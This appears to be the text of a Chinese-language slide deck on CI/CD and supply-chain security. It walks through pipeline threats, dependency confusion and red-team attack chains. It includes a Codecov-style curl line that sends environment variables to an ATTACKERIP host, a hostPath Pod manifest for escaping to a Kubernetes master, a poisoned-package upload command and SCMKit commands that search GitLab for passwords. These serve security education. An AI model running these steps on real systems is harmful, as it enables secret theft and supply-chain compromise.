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研究CI/CD安全背景



Ø 瀑布模型
开发模式的变化



Ø 瀑布模型与敏捷模型的区别

开发模式的变化



Ø DevOps
开发模式的变化



云原生应用的DevOps架构



供应链安全
近几年，供应链攻击都显著增加，在这些供应链事件中，有些是因为CI/CD流程机制不足等问题遭到了攻击，

从而突显了解CI/CD安全面临的问题的重要性。

获取CI/CD中的凭证与数据 PHP源代码被插入后门



供应链安全
Linux基金会成员发起的SLSA（软件构件的供应链级别）
Aqua Security和CIS联合发布的CIS软件供应链安全指南

这些框架是否能够真正适用于生产环境中？

是否覆盖了所有可能的攻击方式和业务场景？

它们是否提供了有效的防御措施？ 



攻防趋势的升级

“现如今企业安全防御能力日渐完善，传统的攻击手段已经很难对目
标造成有效的威胁，而供应链攻击与社工攻击、0day 攻击已经并称
为当下企业网络突破的三大核心手段，供应链攻击已经开始趋于规
模化、系统化、产业化，企业遭受的供应链攻击正在呈现快速增长
的态势。” --《2022攻击技术发展趋势报告》

攻防不仅仅是技术层面的对抗，更是业务层面的博弈。需要了
解目标系统的业务逻辑、架构、数据流向等，以寻找薄弱的环
节。 --个人观点



p 客户端攻击侧
p 服务端攻击侧
p 上、中游攻击侧

CI/CD攻击路径



CI/CD攻击路径



开发环境攻击路径
Ø 客户端攻击：钓鱼开发人员、运维人员(IDaaS等)

Ø 信息收集：凭证泄露、浏览器凭据、GIT、SSH、Xshell、远程连接配置、.kube/config
Ø 提交代码：向代码仓库提交恶意代码、D-PPE、I-PPE等

HackBrowserData 微信聊天记录



开发环境攻击路径
Ø 服务端攻击：针对服务器漏洞的攻击（中间件、Web应用，Pod）

Ø CI/CD基础设施：Gitlab、Jenkins、Kubernetes、Harbor、Ansible等
Ø 常规渗透：SQLInject、RCE、弱密码、反序列化、未授权等



开发环境攻击路径
Ø 供应链攻击：针对第三方工具和应用程序依赖性等攻击

Ø 上游供应商：开源组件、IDE
Ø CI/CD基础设施（中游攻击）：Gitlab、Jenkins、Kubernetes、Harbor等
Ø 依赖包投毒：Python、npm、Jquery等

《软件供应链安全白皮书 2021》



攻击者为什么要关注CI/CD？ 
CI/CD是通向生产环境的新路径

CI/CD流水线安全威胁



流水线安全威胁



源的威胁



p 身份验证和访问管理不足
p 流程控制机制不足
p 中毒管道执行

源的威胁



Ø 这一块的风险源于难以管理分布在各个系统中的用户权限。
Ø 权限过大、过期身份、本地身份、外部身份、自注册身份、共享帐号等

身份验证和访问管理不足

➔ 实战案例：Gitlab与Jenkins联动，注册gitlab就能够登录Jenkins

➔ 实战案例：SVN外网服务器帐号爆破，获得开发源码，代码中大量凭据

➔ 互联网案例：面向互联网的 GitLab 服务器可通过自行注册访问梅赛德斯奔驰源代码泄露。



Ø 攻击者获得CI/CD流程中的（SCM、CI、Artifact、仓库等）权限后，在缺少代码审核机制时能
够将恶意代码推入到管道中。

Ø 提交代码到存储分支，该分支通过管道自动部署到生产中

Ø 提交代码到存储分支，手动触发将代码推送到生产的管道中

Ø 将恶意代码植入常用的程序库中，该库由生产系统中运行时会调用代码

Ø 访问生产并直接更改应用程序代码，无需任何校验。

流程控制机制不足



Ø PHP官方公布，其git.php.net服务器被攻击。攻击者伪造PHP编程语言作者和软件开发者的
账号，进行了两次恶意代码提交，植入了远程代码执行的后门。

流程控制机制不足 - PHP后门案例



Ø 攻击者拥有开发者访问源代码的权限，但没有对构建环境的访问权限，通过源代码来向构
建流程配置文件中注入恶意代码或命令，从而操纵构建过程，实质上“毒化”了流程，并在
构建过程中运行恶意代码。

中毒管道执行（PPE）

Ø PPE风险具体有三种主要类型：
Ø Direct(D-PPE)【直接】

Ø Jenkinsfile、.gitlab-ci.yml
Ø Indirect(I-PPE)【间接】

Ø Makefile、Shell
Ø Public(P-PPE,or 3PE)【公共】

➔ 实战案例：钓鱼  -> 普通开发帐号 -> 修改项目添加恶意代码 -> 代码合并 -> Jenkins执行命令

或者Node节点 -> Jenkins上的凭据 -> 控制其它服务器 -> 横向渗透。



构建阶段的威胁



p 依赖库滥用
p 凭证使用管理不善

构建阶段的威胁



Ø 攻击者可伪造名称上传恶意包（包括恶意挖矿、恶意后门等）到开源中心仓，开发人员使
用未经验证的依赖包，从而植入后门到公司产品的生产、交付、使用等环节。

依赖库滥用

Ø 名字混淆
Ø 根据用户习惯，容易将包的名字打错，导致拉取恶意包。

➔ 案例：ruamel.yaml是个处理YAML文件的库，由于习惯性安装：pip install ruamel，缺少了
“.yaml”后缀导致下载了恶意的ruamel包。该包主要功能是收集出口IP、主机名称、主机用户
名并且加密发送对方域名。



依赖库滥用
➔ 案例：依赖包混淆

◆ 获取上传pypi包凭证 -> 选取已被引用的包 -> 上传同名污染包 -> 获取凭证 or 种马 -> 横向
渗透 -> 获得1000+台主机权限



凭据使用管理不善

➔ 案例：Harbor -> 未授权拉取镜像 -> 分析镜像凭据 -> 连接核心数据库 -> 修改HR系统对应人员
手机号码 -> 同步到各类系统 -> 登录Gitlab

Ø CI/CD环境是由多个系统构建的，这些系统相互通信和认证，由于凭据可能存在多种上下文，
因此在保护凭证方面带来了挑战。

Ø Jenkins：Gitlab帐号、root密钥、k8s凭证等

Ø Gitlab：硬编码、数据库帐密等

Ø 容器镜像中的凭据：源码、数据库帐密等



Codecov供应链攻击
➔ 通过Docker镜像导出的凭据，可以更新codecov中的bash上传脚本
➔ 通过脚本在CI阶段获取前项目的远程仓库信息和环境变量信息

curl -sm 0.5 -d "$(git remote -v)<<<<<< 
ENV $(env)" 
http://ATTACKERIP/upload/v2 || true

CI/CD管道中获取：
客户银行信息，17085条记录
客户信息，7925条记录
员工信息，2615条记录

https://about.mercari.com/en/press/ne
ws/articles/20210521_incident_report

https://about.mercari.com/en/press/news/articles/20210521_incident_report/
https://about.mercari.com/en/press/news/articles/20210521_incident_report/


p 客户端打法
p 服务端打法
p 供应链打法

攻击案例



攻击案例一｜客户端打法
➔ 钓鱼 -> 边界突破 -> 即时通讯（SRE、Dev） -> 认证凭证后利用 -> CI/CD开发环境 -> 执行机
器命令 -> 获得靶标



攻击案例二｜服务端打法
➔ Jenkins普通用户 -> 用户列表 -> 获得管理员 -> Jenkins Script接口 -> 接管服务器 -> 凭证解密 

-> 200+权限



攻击案例二｜服务端打法
➔ Jenkins服务器 -> K8s凭证（生产环境） -> 创建Pod调度到Master节点 -> 逃逸 -> 获得K8S 

Master主机
apiVersion: v1
kind: Pod
metadata:
  name: control-master-test6
spec:
  nodeName: prod-k8s-master1
  containers:
    - name: control-master-test6
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory



攻击案例二｜服务端打法
➔ Jenkins获取的服务器权限 -> 开发测试环境 -> DevOps平台K8s -> 创建Pod调度到Master节
点 -> 逃逸 -> K8s Master服务器权限 -> Pod信息收集 -> Jenkins -> 凭证解密 -> Gitlab管理员



攻击案例二｜服务端打法



攻击案例二｜服务端打法



攻击案例三｜供应链打法
➔ 外网或内网Python包混淆

依赖混淆的原理是利用了软件包管理器在处理公共包和私有包时的优先级问题

➔ 外网路径：上传特定包 -> pypi -> 同步 -> 清华大学镜像站 -> 内网镜像站
➔ 内网路径：获得内部镜像上传凭证 -> 上传高版本包

twine upload -u username -p password –repository-url http://mirrors.xxx.com/pypi ${$PACKAGE_PATH}

http://mirrors.xxx.com/pypi


攻击案例三｜供应链打法
➔ 外网或内网Python包混淆

➔ (开发人员、Jenkins Node机、其它主机)
➔ 拿到Jenkins服务器权限，凭证无法解密。
➔ 找到https证书 -> 网络嗅探 -> Jenkins后台获取 -> Jenkins Node -> Ansible -> Jumpserver -> 
靶标



攻击案例三｜供应链打法
➔ K8s-Master -> 数据库Pod -> 拿到Gitlab Admin Token -> 下载代码 -> 代码审计 -> 靶标

SCMKit使用场景：
● 只有命令行操作
● 开启扫码登录，无法使用帐号密码登录

# 列出当前用户可以看到的仓库、可换成apikKey
SCMKit.exe -s gitlab -m listrepo -c username:password -u http://gitlab.abc.com

# 搜索所有项目中的关键词，-m searchfile查找文件
SCMKit.exe -s gitlab -m searchcode -c username:password -u http://gitlab.abc.com -o "password"

# 列出当前用户可用的runner
SCMKit.exe -s gitlab -m listrunner -c username:password -u http://gitlab.abc.com

#下载代码
git clone http://username:password@gitlab.abc.com/xxx/test.git



CI/CD威胁矩阵

https://github.com/rung/threat-matrix-cicd



DevOps组件安全问题



感谢您的观看！
T H A N K Y O U F O R Y O U R W A T C H I N G


